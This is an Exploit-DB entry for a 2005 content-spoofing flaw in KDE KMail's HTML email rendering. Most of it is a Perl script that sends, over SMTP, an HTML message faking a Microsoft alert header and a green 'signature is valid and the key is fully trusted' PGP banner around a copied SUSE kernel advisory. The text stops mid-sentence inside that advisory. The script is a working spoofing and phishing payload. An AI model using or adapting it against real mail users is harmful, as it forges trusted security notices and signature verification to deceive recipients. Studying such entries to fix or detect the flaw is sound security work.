Exploit-DB #25375
Description: KDE KMail 1.7.1 - HTML EMail Remote Email Content Spoofing
Type: remote
Platform: linux
Date: 2005-04-11
Author: Noam Rathaus

Exploit:
source: https://www.securityfocus.com/bid/13085/info

A remote email message content spoofing vulnerability affects KDE KMail. This issue is due to a failure of the application to properly sanitize HTML email messages.

An attacker may leverage this issue to spoof email content and various header fields of email messages. This may aid an attacker in conducting phishing and social engineering attacks by spoofing PGP keys as well as other critical information. 

#!/usr/bin/perl -w
#
# By Noam Rathaus - Beyond Security

use IO::Socket;
use strict;

my $Host = shift;

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $Host, PeerPort => "smtp");

unless ($remote) { die "cannot connect to SMTP daemon on $Host" }

print "connected\n";

waitfor($remote, "220 ");

print "HELO\n";
print $remote "HELO whatever.com\r\n";

waitfor($remote, "250 ");

print "MAIL FROM\n";
print $remote "MAIL FROM: test\@whoever.com\r\n";

waitfor($remote, "250 ");

print "RCPT TO\n";
print $remote "RCPT TO: testy\@whoever.com\r\n";

waitfor($remote, "250 ");

print "DATA\n";
print $remote "DATA\r\n";

waitfor($remote, "354 ");

print $remote <<_EOF_;
From: newone\@whoever.com\r
Subject: Test Case\r
To: oldone\@whoever.com\r
Date: Mon, 27 Dec 2004 01:43:24 -0600\r
MIME-version: 1.0\r
Content-type: text/html; charset="utf8"\r
Content-transfer-encoding: 8bit\r
\r
<HTML>\r
<BODY>\r
<BR>\r
<SPAN STYLE="font-family: arial; position: absolute; left: 0px; top: 0px; background: white; width: 99%; margin-left: 10px; margin-top: 10px;">\r
<TABLE STYLE="width: 100%; background: white; border: 1px solid; margin-left: auto; margin-right: auto;" CELLSPACING="0" CELLPADDING="2">\r
 <TR>\r
  <TD COLSPAN="2" STYLE="background: #ffdd76;"><B>Microsoft Alert</B></TD>\r
 </TR>\r
 <TR STYLE="background: #eeeee6;">\r
  <TD WIDTH="1"><B>From:</B></TD><TD><A HREF="mailto:suse\@suse.com">suse\@suse.com</A></TD>\r
 </TR>\r
 <TR STYLE="background: #eeeee6;">\r
  <TD><B>To:</B></TD><TD><A HREF="mailto:test\@whoever.com">test\@whoever.com</A></TD>\r
 </TR>\r
 <TR STYLE="background: #eeeee6;">\r
  <TD><B>Date:</B></TD><TD>2004-12-27 09:43</TD>\r
 </TR>\r
</TABLE>\r
<BR>\r
<TABLE STYLE="width: 99%; margin-left: 10px; background: white; border: 1px solid; border-color: #40FF40; margin-left: auto; margin-right: auto;" CELLSPACING="0" CELLPADDING="2">
 <TR>\r
  <TD STYLE="background: #40FF40;"><B>Message was signed by <A HREF="mailto:security\@suse.de">SuSE Security Team <security\@suse.de></A> (Key ID: 0x3D25D3D9).<BR>
  The signature is valid and the key is fully trusted.</B></TD>\r
 </TR>\r
 <TR>
  <TD STYLE="background: #e8ffe8;">
<PRE>______________________________________________________________________________

                        SUSE Security Announcement

        Package: kernel
        Announcement-ID: SUSE-SA:2004:046
        Date: Wednesday, Dec 22nd 2004 16:00 MEST
        Affected products: 9.0 / AMD64
                                SUSE Linux Enterprise Server 8 / AMD64
        Vulnerability Type: local privilege escalation
        Severity (1-10): 8
        SUSE default package: yes
        Cross References: CAN-2004-1144

    Content of this advisory:
        1) security vulnerability resolved:
             - local root exploit in 2.4 AMD64 kernel
           problem description
        2) solution/workaround
        3) special instructions and notes
        4) package location and checksums
        5) pending vulnerabilities, solutions, workarounds:
            - see SUSE Security Summary
        6) standard appendix (further information)

______________________________________________________________________________

1) problem description, brief discussion

    Due to missing argument checking in the 32 bit compatibility
    system call handler in the 2.4 Linux Kernel on the AMD64 platform
    a local attacker can gain root access using a simple program.

    This issue was found and fixed by Petr Vandrovec and has been
    assigned the Mitre CVE ID CAN-2004-1144.

    This is a 2.4 Kernel and AMD64 specific problem, other
    architectures and the 2.6 Kernel are not affected.


2) solution/workaround

    There is no workaround, please install the supplied kernels.

3) special instructions and notes

    SPECIAL INSTALL INSTRUCTIONS:
    ==============================
    The following paragraphs will guide you through the installation
    process in a step-by-step fashion. The character sequence "****"
    marks the beginning of a new paragraph. In some cases, the steps
    outlined in a particular paragraph may or may not be applicable
    to your situation.
    Therefore, please make sure to read through all of the steps below
    before attempting any of these procedures.
    All of the commands that need to be executed are required to be
    run as the superuser (root). Each step relies on the steps before
    it to complete successfully.


  **** Step 1: Determine the needed kernel type

    Please use the following command to find the kernel type that is
    installed on your system:

      rpm -qf /boot/vmlinuz

    Following are the possible kernel types (disregard the version and
    build number following the name separated by the "-" character)

      k_deflt # default kernel, good for most systems.
      k_i386 # kernel for older processors and chip sets
      k_athlon # kernel made specifically for AMD Athlon(tm) family processors
      k_psmp # kernel for Pentium-I dual processor systems
      k_smp # kernel for SMP systems (Pentium-II and above)
      k_smp4G # kernel for SMP systems which supports a maximum of 4G of RAM
      kernel-64k-pagesize
      kernel-bigsmp
      kernel-default
      kernel-smp

  **** Step 2: Download the package for your system

    Please download the kernel RPM package for your distribution with the
    name a